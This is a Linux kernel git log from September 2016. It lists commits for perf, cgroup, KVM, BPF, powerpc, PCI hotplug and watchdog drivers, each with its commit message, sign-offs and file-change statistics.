3541c034d9b953cbd4b961db74630fb6d72e7f37 Author: Mathieu Poirier Date: Fri Sep 16 08:44:04 2016 -0600 perf evsel: New tracepoint specific function Making function perf_evsel__append_filter() static and introducing a new tracepoint specific function to append filters. That way we eliminate redundant code and avoid formatting mistake. Signed-off-by: Mathieu Poirier Acked-by: Adrian Hunter Cc: Alexander Shishkin Cc: Jiri Olsa Cc: Peter Zijlstra Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1474037045-31730-3-git-send-email-mathieu.poirier@linaro.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-trace.c | 7 +++---- tools/perf/util/evsel.c | 9 +++++++-- tools/perf/util/evsel.h | 3 +-- tools/perf/util/parse-events.c | 4 ++-- 4 files changed, 13 insertions(+), 10 deletions(-) commit b15d0a4c828eafc82ea68fcf88db6fa93eeb23d7 Author: Mathieu Poirier Date: Fri Sep 16 08:44:03 2016 -0600 perf tools: Make perf_evsel__append_filter() generic By making function perf_evsel__append_filter() take a format rather than an operator it is possible to reuse the code for other purposes (ex. Intel PT and CoreSight) than tracepoints. Signed-off-by: Mathieu Poirier Acked-by: Adrian Hunter Cc: Alexander Shishkin Cc: Jiri Olsa Cc: Peter Zijlstra Cc: linux-arm-kernel@lists.infradead.org Link: http://lkml.kernel.org/r/1474037045-31730-2-git-send-email-mathieu.poirier@linaro.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/builtin-trace.c | 9 +++++++-- tools/perf/util/evsel.c | 4 ++-- tools/perf/util/evsel.h | 2 +- tools/perf/util/parse-events.c | 4 ++-- 4 files changed, 12 insertions(+), 7 deletions(-) commit 2acad19500c28ce0c4dc3f9bf1dcfc82040b6531 Author: Simon Que Date: Wed Sep 28 11:37:53 2016 -0700 perf tools: Update documentation info about quipper The existing link is outdated. The most recent quipper code can be found at the new URL. Committer notes: Quipper is a C++ parser that can be used to convert from a perf.data file to and from a protobuf, a Chromium OS facility. Signed-off-by: Simon Que Acked-by: Andi Kleen Cc: Adrian Hunter Cc: Chong Jiang Link: http://lkml.kernel.org/n/tip-4q1nm7jl3vovp66p5bki20pq@git.kernel.org Signed-off-by: Arnaldo Carvalho de Melo tools/perf/Documentation/perf.data-file-format.txt | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) commit 45ca877ad0519a02c22aaff2e2cdf333a1421a0a Merge: c5a6d5f 0099b77 Author: Radim Krčmář Date: Thu Sep 29 16:01:51 2016 +0200 Merge tag 'kvm-arm-for-v4.9' of git://git.kernel.org/pub/scm/linux/kernel/git/kvmarm/kvmarm into next KVM/ARM Changes for v4.9 - Various cleanups and removal of redundant code - Two important fixes for not using an in-kernel irqchip - A bit of optimizations - Handle SError exceptions and present them to guests if appropriate - Proxying of GICV access at EL2 if guest mappings are unsafe - GICv3 on AArch32 on ARMv8 - Preparations for GICv3 save/restore, including ABI docs commit e0223003e6e141533446d01a92784592a97a8552 Author: Tejun Heo Date: Thu Sep 29 15:49:40 2016 +0200 cgroup: fix error handling regressions in proc_cgroup_show() and cgroup_release_agent() 4c737b41de7f ("cgroup: make cgroup_path() and friends behave in the style of strlcpy()") broke error handling in proc_cgroup_show() and cgroup_release_agent() by not handling negative return values from cgroup_path_ns_locked(). Fix it. Reported-by: Dan Carpenter Signed-off-by: Tejun Heo kernel/cgroup.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 679a5e3f12830392d14f94b04bbe0f3cabdbd773 Author: Tejun Heo Date: Thu Sep 29 11:58:36 2016 +0200 cpuset: fix error handling regression in proc_cpuset_show() 4c737b41de7f ("cgroup: make cgroup_path() and friends behave in the style of strlcpy()") botched the conversion of proc_cpuset_show() and broke its error handling. It made the function return 0 on failures and fail to handle error returns from cgroup_path_ns(). Fix it. Reported-by: Dan Carpenter Signed-off-by: Tejun Heo kernel/cpuset.c | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) commit 060d791f760bd80c0f96de668a662cab0286146a Author: Mika Westerberg Date: Fri Sep 23 17:57:06 2016 +0300 ACPI / documentation: Use recommended name in GPIO property names The recommended property name for all kinds of GPIOs is to end it with "-gpios" even if there is only one GPIO. Update the documentation to follow this fact. Signed-off-by: Mika Westerberg Signed-off-by: Rafael J. Wysocki Documentation/acpi/gpio-properties.txt | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) commit 3757dc48a66f829cf6ba82a612ba4587ab4b5f1c Author: Niklas Söderlund Date: Thu Sep 29 12:02:40 2016 +0200 dma-mapping: fix m32r build warning kbuild test robot reports: In file included from include/linux/skbuff.h:34:0, from include/linux/icmpv6.h:4, from include/linux/ipv6.h:75, from include/net/ipv6.h:16, from include/linux/sunrpc/clnt.h:27, from include/linux/nfs_fs.h:30, from fs/lockd/clntlock.c:13: include/linux/dma-mapping.h: In function 'dma_map_resource': >> include/linux/dma-mapping.h:274:16: warning: unused variable 'pfn' [-Wunused-variable] unsigned long pfn = __phys_to_pfn(phys_addr); ^~~ The pfn value is only used once in the call to pfn_valid(), remove the variable and calculate the pfn when it's needed. Note that the kbuild report is old and PHYS_PFN() is now used instead of __phys_to_pfn() to calculate the pfn. Signed-off-by: Niklas Söderlund Signed-off-by: Vinod Koul include/linux/dma-mapping.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 2895e1f8048d1be7b1b5be6439c740621c0e5361 Author: Niklas Söderlund Date: Thu Sep 29 12:02:39 2016 +0200 dma-mapping: fix ia64 build, use PHYS_PFN kbuild test robot reports: In file included from include/linux/skbuff.h:34:0, from include/linux/tcp.h:21, from drivers/net/ethernet/amd/xgbe/xgbe-drv.c:119: include/linux/dma-mapping.h: In function 'dma_map_resource': >> include/linux/dma-mapping.h:274:22: error: implicit declaration of function '__phys_to_pfn' [-Werror=implicit-function-declaration] unsigned long pfn = __phys_to_pfn(phys_addr); ^~~~~~~~~~~~~ ia64 does not provide __phys_to_pfn(), use the PHYS_PFN() alias. Signed-off-by: Niklas Söderlund Signed-off-by: Vinod Koul include/linux/dma-mapping.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bf18db4e7bd99f3a65bcc43225790b16af733321 Author: James Hogan Date: Fri Sep 16 13:14:09 2016 +0100 KVM: MIPS: Drop dubious EntryHi optimisation There exists a slightly dubious optimisation in the implementation of the MIPS KVM EntryHi emulation which skips TLB invalidation if the EntryHi points to an address in the guest KSeg0 region, intended to catch guest TLB invalidations where the ASID is almost immediately restored to the previous value. Now that we perform lazy host ASID regeneration for guest user mode when the guest ASID changes we should be able to drop the optimisation without a significant impact (only the extra TLB refills for the small amount of code while the TLB is being invalidated). Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim Krčmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org arch/mips/kvm/emulate.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 25b08c7fb0e410bdf7c42ea1faff816eb0451bbc Author: James Hogan Date: Fri Sep 16 00:06:43 2016 +0100 KVM: MIPS: Invalidate TLB by regenerating ASIDs Invalidate host TLB mappings when the guest ASID is changed by regenerating ASIDs, rather than flushing the entire host TLB except entries in the guest KSeg0 range. For the guest kernel mode ASID we regenerate on the spot when the guest ASID is changed, as that will always take place while the guest is in kernel mode. However when the guest invalidates TLB entries the ASID will often by changed temporarily as part of writing EntryHi without the guest returning to user mode in between. We therefore regenerate the user mode ASID lazily before entering the guest in user mode, if and only if the guest ASID has actually changed since the last guest user mode entry. Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim Krčmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org arch/mips/include/asm/kvm_host.h | 3 +++ arch/mips/kvm/emulate.c | 18 +++++++++++++----- arch/mips/kvm/mips.c | 30 ++++++++++++++++++++++++++++++ arch/mips/kvm/mmu.c | 4 ++++ 4 files changed, 50 insertions(+), 5 deletions(-) commit f3124cc551c8575c30e3736faf2d0bca54ee07cb Author: James Hogan Date: Fri Sep 16 00:00:08 2016 +0100 KVM: MIPS: Split kernel/user ASID regeneration The host ASIDs for guest kernel and user mode are regenerated together if the ASID for guest kernel mode is out of date. That is fine as the ASID for guest kernel mode is always generated first, however it doesn't allow the ASIDs to be regenerated or invalidated individually instead of linearly flushing the entire host TLB. Therefore separate the regeneration code so that the ASIDs are checked and regenerated separately. Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim Krčmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org arch/mips/kvm/mmu.c | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) commit 91e4f1b6073dd680d86cdb7e42d7cccca9db39d8 Author: James Hogan Date: Thu Sep 15 17:20:06 2016 +0100 KVM: MIPS: Drop other CPU ASIDs on guest MMU changes When a guest TLB entry is replaced by TLBWI or TLBWR, we only invalidate TLB entries on the local CPU. This doesn't work correctly on an SMP host when the guest is migrated to a different physical CPU, as it could pick up stale TLB mappings from the last time the vCPU ran on that physical CPU. Therefore invalidate both user and kernel host ASIDs on other CPUs, which will cause new ASIDs to be generated when it next runs on those CPUs. We're careful only to do this if the TLB entry was already valid, and only for the kernel ASID where the virtual address it mapped is outside of the guest user address range. Signed-off-by: James Hogan Cc: Paolo Bonzini Cc: "Radim Krčmář" Cc: Ralf Baechle Cc: linux-mips@linux-mips.org Cc: kvm@vger.kernel.org Cc: # 3.10.x- arch/mips/kvm/emulate.c | 63 +++++++++++++++++++++++++++++++++++++++++-------- 1 file changed, 53 insertions(+), 10 deletions(-) commit 6c3f70ac7c6b4a29b6905be879282628e65f50dd Author: Colin Ian King Date: Tue Sep 27 11:58:44 2016 -0700 HID: add missing \n to end of dev_warn messages Trival fix, dev_warn messages are missing a \n, so add it. Signed-off-by: Colin Ian King Reviewed-by: Benjamin Tissoires Signed-off-by: Jiri Kosina include/linux/hid.h | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit d282b9c0ac9f7fb5dff5b146e37cf820c610dacc Author: Colin Ian King Date: Mon Sep 12 14:46:23 2016 +0100 tracing/syscalls: fix multiline in error message text pr_info message spans two lines and the literal string is missing a white space between words. Add the white space. Signed-off-by: Colin Ian King Acked-by: Ingo Molnar Acked-by: Steven Rostedt Signed-off-by: Jiri Kosina kernel/trace/trace_syscalls.c | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) commit 67797b9237766b1608818d5379e06a0a3c9fb2ee Author: Uwe Kleine-König Date: Fri Sep 9 10:04:58 2016 +0200 lib/Kconfig.debug: fix DEBUG_SECTION_MISMATCH description Signed-off-by: Uwe Kleine-König Signed-off-by: Jiri Kosina lib/Kconfig.debug | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0c6cac1aff528f4d275affd29cd60dfc4dc15638 Author: Andreas Gruenbacher Date: Tue Aug 9 12:43:09 2016 +0200 doc: vfs: fix fadvise() sycall name Signed-off-by: Andreas Gruenbacher Signed-off-by: Jiri Kosina Documentation/filesystems/vfs.txt | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 75ca5b22260ef7b5ce39c6d521eee8b4cba44703 Author: Nicolas Iooss Date: Fri Jul 29 13:39:51 2016 +0200 x86/entry: spell EBX register correctly in documentation As EBS does not mean anything reasonable in the context it is used, it seems like a misspelling for EBX. Signed-off-by: Nicolas Iooss Acked-by: Borislav Petkov Signed-off-by: Jiri Kosina arch/x86/entry/entry_64.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1b4606511d11075a2cb61485b359555aba65fc2d Author: Laurent Georget Date: Wed Jul 13 08:58:40 2016 +0200 securityfs: fix securityfs_create_dir comment If there is an error creating a directory with securityfs_create_dir, the error is propagated via ERR_PTR but the function comment claims that NULL is returned. This is a similar commit to 88e6c94cda322ff2b32f72bb8d96f9675cdad8aa ("fix long-broken securityfs_create_file comment") that did not fix securityfs_create_dir comment at the same time. Signed-off-by: Laurent Georget Signed-off-by: Jiri Kosina security/inode.c | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) commit 5615c3715749fc364e9ef8b597d6c3e7720465d2 Author: Nicolas Ferre Date: Wed Sep 28 17:47:35 2016 +0200 MAINTAINERS: update entry for atmel_serial driver Change maintainer for the serial driver found on most of the Microchip / Atmel MPUs and take advantage of the move to rename and reorder the entry. I'm happy that Richard is taking over the maintenance of this driver. Signed-off-by: Nicolas Ferre Acked-by: Richard Genoud Signed-off-by: Greg Kroah-Hartman MAINTAINERS | 11 ++++++----- 1 file changed, 6 insertions(+), 5 deletions(-) commit 3da7ffecb778a39c6ec895752a4918331957acd3 Author: Masanari Iida Date: Wed Jun 29 17:44:25 2016 +0900 irq: Fix typo in tracepoint.xml This patch fix a spelling typo found in DocBook/tracepoint.xml. It is because the file was created from comments in source, so I have to fix the typo in include/trace/events/irq.h Signed-off-by: Masanari Iida Acked-by: Steven Rostedt Signed-off-by: Jiri Kosina include/trace/events/irq.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 31fbe81fe3426dfb7f8056a7f5106c6b1841a9aa Merge: 4846113 5f3d380 Author: David S. Miller Date: Thu Sep 29 01:50:20 2016 -0400 Merge branch 'qcom-emac-acpi' Timur Tabi says: ==================== Add basic ACPI support to the Qualcomm Technologies EMAC driver This patch series adds support to the EMAC driver for extracting addresses, interrupts, and some _DSDs (properties) from ACPI. The first two patches clean up the code, and the third patch adds ACPI-specific functionality. The first patch fixes a bug with handling the platform_device for the internal PHY. This phy is treated as a separate device in both DT and ACPI, but since the platform is not released automatically when the driver unloads, managed functions like devm_ioremap_resource cannot be used. The second patch replaces of_get_mac_address with its platform-independent equivalent device_get_mac_address. The third patch parses the ACPI tables to obtain the platform_device for the primary EMAC node ("QCOM8070") and the internal phy node ("QCOM8071"). ==================== Signed-off-by: David S. Miller commit 5f3d38078c84f7bc12739a3b79fc59797cf0262d Author: Timur Tabi Date: Wed Sep 28 11:58:44 2016 -0500 net: qcom/emac: initial ACPI support Add support for reading addresses, interrupts, and _DSD properties from ACPI tables, just like with device tree. The HID for the EMAC device itself is QCOM8070. The internal PHY is represented by a child node with a HID of QCOM8071. The EMAC also has some complex clock initialization requirements that are not represented by this patch. This will be addressed in a future patch. Signed-off-by: Timur Tabi Signed-off-by: David S. Miller drivers/net/ethernet/qualcomm/emac/emac-phy.c | 37 ++++++++++--- drivers/net/ethernet/qualcomm/emac/emac-sgmii.c | 72 ++++++++++++++++++------- drivers/net/ethernet/qualcomm/emac/emac.c | 12 +++++ 3 files changed, 95 insertions(+), 26 deletions(-) commit 0de709acbc0d0001dc4b0953aebcfb0f030b9b0e Author: Timur Tabi Date: Wed Sep 28 11:58:43 2016 -0500 net: qcom/emac: use device_get_mac_address Replace the DT-specific of_get_mac_address() function with device_get_mac_address, which works on both DT and ACPI platforms. This change makes it easier to add ACPI support. Signed-off-by: Timur Tabi Signed-off-by: David S. Miller drivers/net/ethernet/qualcomm/emac/emac.c | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) commit 54e19bc74f3380d414681762ceed9f7245bc6a6e Author: Timur Tabi Date: Wed Sep 28 11:58:42 2016 -0500 net: qcom/emac: do not use devm on internal phy pdev The platform_device returned by of_find_device_by_node() is not automatically released when the driver unprobes. Therefore, managed calls like devm_ioremap_resource() should not be used. Instead, we manually allocate the resources and then free them on driver release. Signed-off-by: Timur Tabi Signed-off-by: David S. Miller drivers/net/ethernet/qualcomm/emac/emac-sgmii.c | 42 +++++++++++++++++++------ drivers/net/ethernet/qualcomm/emac/emac.c | 4 +++ 2 files changed, 37 insertions(+), 9 deletions(-) commit 484611357c19f9e19ef742ebef4505a07d243cc9 Author: Josef Bacik Date: Wed Sep 28 10:54:32 2016 -0400 bpf: allow access into map value arrays Suppose you have a map array value that is something like this struct foo { unsigned iter; int array[SOME_CONSTANT]; }; You can easily insert this into an array, but you cannot modify the contents of foo->array[] after the fact. This is because we have no way to verify we won't go off the end of the array at verification time. This patch provides a start for this work. We accomplish this by keeping track of a minimum and maximum value a register could be while we're checking the code. Then at the time we try to do an access into a MAP_VALUE we verify that the maximum offset into that region is a valid access into that memory region. So in practice, code such as this unsigned index = 0; if (foo->iter >= SOME_CONSTANT) foo->iter = index; else index = foo->iter++; foo->array[index] = bar; would be allowed, as we can verify that index will always be between 0 and SOME_CONSTANT-1. If you wish to use signed values you'll have to have an extra check to make sure the index isn't less than 0, or do something like index %= SOME_CONSTANT. Signed-off-by: Josef Bacik Acked-by: Alexei Starovoitov Signed-off-by: David S. Miller include/linux/bpf.h | 7 + include/linux/bpf_verifier.h | 12 ++ kernel/bpf/verifier.c | 329 ++++++++++++++++++++++++++++++++++++++++--- samples/bpf/libbpf.h | 8 ++ samples/bpf/test_verifier.c | 243 +++++++++++++++++++++++++++++++- 5 files changed, 577 insertions(+), 22 deletions(-) commit 5045ea37377ce8cca6890d32b127ad6770e6dce5 Author: Anton Blanchard Date: Sun Sep 25 17:16:53 2016 +1000 powerpc/vdso64: Use double word compare on pointers __kernel_get_syscall_map() and __kernel_clock_getres() use cmpli to check if the passed in pointer is non zero. cmpli maps to a 32 bit compare on binutils, so we ignore the top 32 bits. A simple test case can be created by passing in a bogus pointer with the bottom 32 bits clear. Using a clk_id that is handled by the VDSO, then one that is handled by the kernel shows the problem: printf("%d\n", clock_getres(CLOCK_REALTIME, (void *)0x100000000)); printf("%d\n", clock_getres(CLOCK_BOOTTIME, (void *)0x100000000)); And we get: 0 -1 The bigger issue is if we pass a valid pointer with the bottom 32 bits clear, in this case we will return success but won't write any data to the pointer. I stumbled across this issue because the LLVM integrated assembler doesn't accept cmpli with 3 arguments. Fix this by converting them to cmpldi. Fixes: a7f290dad32e ("[PATCH] powerpc: Merge vdso's and add vdso support to 32 bits kernel") Cc: stable@vger.kernel.org # v2.6.15+ Signed-off-by: Anton Blanchard Signed-off-by: Michael Ellerman arch/powerpc/kernel/vdso64/datapage.S | 2 +- arch/powerpc/kernel/vdso64/gettimeofday.S | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) commit 2e5bbb5461f138cac631fe21b4ad956feabfba22 Author: Balbir Singh Date: Tue Sep 6 16:27:31 2016 +1000 KVM: PPC: Book3S HV: Migrate pinned pages out of CMA When PCI Device pass-through is enabled via VFIO, KVM-PPC will pin pages using get_user_pages_fast(). One of the downsides of the pinning is that the page could be in CMA region. The CMA region is used for other allocations like the hash page table. Ideally we want the pinned pages to be from non CMA region. This patch (currently only for KVM PPC with VFIO) forcefully migrates the pages out (huge pages are omitted for the moment). There are more efficient ways of doing this, but that might be elaborate and might impact a larger audience beyond just the kvm ppc implementation. The magic is in new_iommu_non_cma_page() which allocates the new page from a non CMA region. I've tested the patches lightly at my end. The full solution requires migration of THP pages in the CMA region. That work will be done incrementally on top of this. Signed-off-by: Balbir Singh Acked-by: Alexey Kardashevskiy [mpe: Merged via powerpc tree as that's where the changes are] Signed-off-by: Michael Ellerman arch/powerpc/include/asm/mmu_context.h | 1 + arch/powerpc/mm/mmu_context_iommu.c | 81 ++++++++++++++++++++++++++++++++-- 2 files changed, 78 insertions(+), 4 deletions(-) commit 360aebd85a4c946764f6301d68de2a817fad5159 Author: Gavin Shan Date: Wed Sep 28 14:34:58 2016 +1000 drivers/pci/hotplug: Support surprise hotplug in powernv driver This supports PCI surprise hotplug. The design is highlighted as below: * The PCI slot's surprise hotplug capability is exposed through device node property "ibm,slot-surprise-pluggable", meaning PCI surprise hotplug will be disabled if skiboot doesn't support it yet. * The interrupt because of presence or link state change is raised on surprise hotplug event. One event is allocated and queued to the PCI slot for workqueue to pick it up and process in serialized fashion. The code flow for surprise hotplug is same to that for managed hotplug except: the affected PEs are put into frozen state to avoid unexpected EEH error reporting in surprise hot remove path. Signed-off-by: Gavin Shan Signed-off-by: Michael Ellerman arch/powerpc/include/asm/pnv-pci.h | 2 + drivers/pci/hotplug/pnv_php.c | 214 +++++++++++++++++++++++++++++++++++++ 2 files changed, 216 insertions(+) commit 149ba66a90a3b3cf8595ba8f0b2e4b2131e1681e Author: Gavin Shan Date: Wed Sep 28 14:34:57 2016 +1000 drivers/pci/hotplug: Remove likely() and unlikely() in powernv driver This removes likely() and unlikely() in pnv_php.c as the code isn't running in hot path. Those macros to affect CPU's branch stream don't help a lot for performance. I used them to identify the cases are likely or unlikely to happen. No logical changes introduced. Signed-off-by: Gavin Shan Signed-off-by: Michael Ellerman drivers/pci/hotplug/pnv_php.c | 56 +++++++++++++++++++++---------------------- 1 file changed, 28 insertions(+), 28 deletions(-) commit 313483dd72289ff0b7dff4207032d94dbce39cf6 Author: Gavin Shan Date: Wed Sep 28 14:34:56 2016 +1000 powerpc/powernv: Unfreeze PE on allocation This unfreezes PE when it's initialized because the PE might be put into frozen state in the last hot remove path. It's not harmful to do so if the PE is already in unfrozen state. Signed-off-by: Gavin Shan Signed-off-by: Michael Ellerman arch/powerpc/platforms/powernv/pci-ioda.c | 13 +++++++++++++ 1 file changed, 13 insertions(+) commit e0056b0a1206a423b5cfb67d79e4e85e1243f413 Author: Gavin Shan Date: Wed Sep 28 14:34:55 2016 +1000 powerpc/eeh: Export eeh_pe_state_mark() This exports eeh_pe_state_mark(). It will be used to mark the surprise hot removed PE as isolated to avoid unexpected EEH error reporting in surprise remove path. Signed-off-by: Gavin Shan Signed-off-by: Michael Ellerman arch/powerpc/kernel/eeh_pe.c | 1 + 1 file changed, 1 insertion(+) commit 35066c0d798906d46c352c3f12844d2a162d057d Author: Gavin Shan Date: Wed Sep 28 14:34:54 2016 +1000 powerpc/eeh: Export confirm_error_lock This exports @confirm_error_lock so that eeh_serialize_{lock, unlock}() can be used to freeze the affected PE in PCI surprise hot remove path. Signed-off-by: Gavin Shan Signed-off-by: Michael Ellerman arch/powerpc/kernel/eeh.c | 1 + 1 file changed, 1 insertion(+) commit de5a6622495117ef2e0335d509e917c91d9dd724 Author: Gavin Shan Date: Wed Sep 28 14:34:53 2016 +1000 powerpc/eeh: Allow to freeze PE in eeh_pe_set_option() Function eeh_pe_set_option() is used to apply the requested options (enable, disable, unfreeze) in EEH virtualization path. The semantics of this function isn't complete until freezing is supported. This allows to freeze the indicated PE. The new semantics is going to be used in PCI surprise hot remove path, to freeze removed PCI devices (PE) to avoid unexpected EEH error reporting. Signed-off-by: Gavin Shan Signed-off-by: Michael Ellerman arch/powerpc/kernel/eeh.c | 1 + 1 file changed, 1 insertion(+) commit fbce44d0ed42e4653172376f4dfeaa5710f06a27 Author: Gavin Shan Date: Fri Jun 24 16:44:19 2016 +1000 powerpc/powernv: Call opal_pci_poll() if needed When issuing PHB reset, OPAL API opal_pci_poll() is called to drive the state machine in OPAL forward. However, we needn't always call the function under some circumstances like reset deassert. This avoids calling opal_pci_poll() when OPAL_SUCCESS is returned from opal_pci_reset(). Except the overhead introduced by additional one unnecessary OPAL call, I didn't run into real issue because of this. Reported-by: Pridhiviraj Paidipeddi Signed-off-by: Gavin Shan Signed-off-by: Michael Ellerman arch/powerpc/platforms/powernv/eeh-powernv.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) commit 7836667cec5e02ed2ae3eb09b88047b5b5f2343a Author: Eric Dumazet Date: Wed Sep 28 08:41:16 2016 -0700 net: do not export sk_stream_write_space Since commit 900f65d361d3 ("tcp: move duplicate code from tcp_v4_init_sock()/tcp_v6_init_sock()") we no longer need to export sk_stream_write_space() From: Eric Dumazet Cc: Neal Cardwell Signed-off-by: David S. Miller net/core/stream.c | 1 - 1 file changed, 1 deletion(-) commit ea1a76bad8c9d0e7d91e7e4c9adf98fe3c7f09b7 Author: Axel Lin Date: Sat Sep 24 11:54:08 2016 +0800 platform/x86: intel_pmc_ipc: Convert to use platform_device_register_full Use platform_device_register_full() instead of open-coded. Signed-off-by: Axel Lin Signed-off-by: Darren Hart drivers/platform/x86/intel_pmc_ipc.c | 110 +++++++++++------------------------ 1 file changed, 33 insertions(+), 77 deletions(-) commit 62d9a78f32d9a1b0f6fdae70751deeae6335e74b Author: Yongji Xie Date: Tue Sep 13 17:00:32 2016 +0800 PCI: Ignore requested alignment for VF BARs Resource allocation for VFs is done via the VF BARx registers in the PF's SR-IOV Capability, and the BARs in the VFs themselves are read-only zeros (see SR-IOV spec r1.1, secs 3.3.14 and 3.4.1.11). Even though the actual VF BARs are read-only zeros, the VF dev->resource[] structs describe the space allocated for the VF (this is a piece of the space described by the VF BARx register in the PF's SR-IOV capability). It's meaningless to request additional alignment for a VF: the VF BAR alignment is completely determined by the alignment of the VF BARx in the PF and the size of the VF BAR. Ignore the user's alignment requests for VF devices. Signed-off-by: Yongji Xie Signed-off-by: Bjorn Helgaas drivers/pci/pci.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 8f7d99ba85d4d7118a6cf2d0ed9c2ff8e6528679 Author: Johannes Berg Date: Wed Sep 28 23:44:57 2016 +0200 cfg80211: wext: really don't store non-WEP keys Jouni reported that during (repeated) wext_pmf test runs (from the wpa_supplicant hwsim test suite) the kernel crashes. The reason is that after the key is set, the wext code still unnecessarily stores it into the key cache. Despite smatch pointing out an overflow, I failed to identify the possibility for this in the code and missed it during development of the earlier patch series. In order to fix this, simply check that we never store anything but WEP keys into the cache, adding a comment as to why that's enough. Also, since the cache is still allocated early even if it won't be used in many cases, add a comment explaining why - otherwise we'd have to roll back key settings to the driver in case of allocation failures, which is far more difficult. Fixes: 89b706fb28e4 ("cfg80211: reduce connect key caching struct size") Reported-by: Jouni Malinen Bisected-by: Jouni Malinen Signed-off-by: Johannes Berg net/wireless/wext-compat.c | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) commit f0b99f70e92dcdc4fecf5cf7ce2f6857ddd82c65 Author: Yongji Xie Date: Tue Sep 13 17:00:31 2016 +0800 PCI: Ignore requested alignment for PROBE_ONLY and fixed resources Users may request additional alignment of PCI resources, e.g., to align BARs on page boundaries so they can be shared with guests via VFIO. This of course may require reallocation if firmware has already assigned the BARs with smaller alignments. If the platform has requested PCI_PROBE_ONLY, we should never change any PCI BARs, so we can't provide any additional alignment. Also, if a BAR is marked as IORESOURCE_PCI_FIXED, e.g., for PCI Enhanced Allocation or if the firmware depends on the current BAR value, we can't change the alignment. In these cases, log a message and ignore the user's alignment requests. [bhelgaas: changelog, use goto to simplify PCI_PROBE_ONLY check] Signed-off-by: Yongji Xie Signed-off-by: Bjorn Helgaas drivers/pci/pci.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit cda3b9178510297ac968b7e129e20caaaa66c581 Author: Wei Yongjun Date: Wed Sep 28 23:17:11 2016 +0200 watchdog: wdat_wdt: Fix warning for using 0 as NULL Fixes the following sparse warnings: drivers/watchdog/wdat_wdt.c:210:66: warning: Using plain integer as NULL pointer drivers/watchdog/wdat_wdt.c:235:66: warning: Using plain integer as NULL pointer Signed-off-by: Wei Yongjun Acked-by: Mika Westerberg Reviewed-by: Guenter Roeck Signed-off-by: Rafael J. Wysocki drivers/watchdog/wdat_wdt.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 356ed043517dbceb646a9353831abde91062a395 Author: Wei Yongjun Date: Wed Sep 28 23:15:54 2016 +0200 watchdog: wdat_wdt: fix return value check in wdat_wdt_probe() In case of error, the function devm_ioremap_resource() returns ERR_PTR() and never returns NULL. The NULL test in the return value check should be replaced with IS_ERR(). Signed-off-by: Wei Yongjun Acked-by: Mika Westerberg Reviewed-by: Guenter Roeck Signed-off-by: Rafael J. Wysocki drivers/watchdog/wdat_wdt.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit bba6529ea039925ed422696be5d52677bd16643c Author: Mika Westerberg Date: Tue Sep 20 15:30:54 2016 +0300 platform/x86: intel_pmc_ipc: Do not create iTCO watchdog when WDAT table exists ACPI WDAT table is the preferred way to use hardware watchdog over the native iTCO_wdt. Windows only uses this table for its hardware watchdog implementation so we should be relatively safe to trust it has been validated by OEMs. Prevent iTCO watchdog creation if we detect that there is an ACPI WDAT table. Signed-off-by: Mika Westerberg Reviewed-by: Guenter Roeck Signed-off-by: Rafael J. Wysocki drivers/platform/x86/intel_pmc_ipc.c | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) commit 1f6dbb022bd477239bfbb52ef868f694b5f1d36a Author: Mika Westerberg Date: Tue Sep 20 15:30:53 2016 +0300 i2c: i801: Do not create iTCO watchdog when WDAT table exists ACPI WDAT table is the preferred way to use hardware watchdog over the native iTCO_wdt. Windows only uses this table for its hardware watchdog implementation so we should be relatively safe to trust it has been validated by OEMs Prevent iTCO watchdog creation if we detect that there is ACPI WDAT table. Signed-off-by: Mika Westerberg Reviewed-by: Guenter Roeck Acked-by: Wolfram Sang Signed-off-by: Rafael J. Wysocki drivers/i2c/busses/i2c-i801.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 3413f702fae096184ad8bd9be9d7ecbc7c182bd7 Author: Mika Westerberg Date: Tue Sep 20 15:30:52 2016 +0300 mfd: lpc_ich: Do not create iTCO watchdog when WDAT table exists ACPI WDAT table is the preferred way to use hardware watchdog over the native iTCO_wdt. Windows only uses this table for its hardware watchdog implementation so we should be relatively safe to trust it has been validated by OEMs Prevent iTCO watchdog creation if we detect that there is ACPI WDAT table. Signed-off-by: Mika Westerberg Reviewed-by: Guenter Roeck Acked-by: Lee Jones Signed-off-by: Rafael J. Wysocki drivers/mfd/lpc_ich.c | 4 ++++ 1 file changed, 4 insertions(+) commit a481daa88fd4d6b54f25348972bba10b5f6a84d0 Author: Alex Deucher Date: Thu Sep 22 14:43:50 2016 -0400 drm/radeon: always apply pci shutdown callbacks We can't properly detect all hypervisors and we need this to properly tear down the hardware. Signed-off-by: Alex Deucher 